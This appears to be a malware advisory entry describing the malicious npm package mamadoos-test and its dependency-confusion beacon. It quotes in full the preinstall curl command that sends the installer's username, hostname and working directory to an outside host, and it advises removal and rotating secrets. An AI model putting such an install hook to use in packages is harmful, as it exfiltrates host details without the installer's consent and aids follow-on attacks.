MAL-2026-4605 Malicious code in mamadoos-test (npm)

Malicious package Published
Package
mamadoos-test
Registry
npm

What is MAL-2026-4605?

MAL-2026-4605 is a malicious package in mamadoos-test, published on 20 May 2026.

Official description

package.json declares a preinstall lifecycle hook that runs curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pwd), embedding the installer's OS username, hostname, and current working directory into the URL path/query. This fires unconditionally on npm install with no opt-in, leaking host-identifying information to a third-party endpoint. The package additionally declares itself as a dependency (mamadoos-test: ^10.0.0), a shape consistent with a dependency-confusion probe — installs of a colliding internal name resolve to this public package and beacon back. Regardless of whether the intent is research or active targeting, the installer-side effect is unconsented exfiltration of identifiers useful for follow-on attacks (locating internal hosts, mapping CI environments, fingerprinting build paths).

What should I do about MAL-2026-4605?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

Also known as GHSA-qwhw-2wfv-rv3r.

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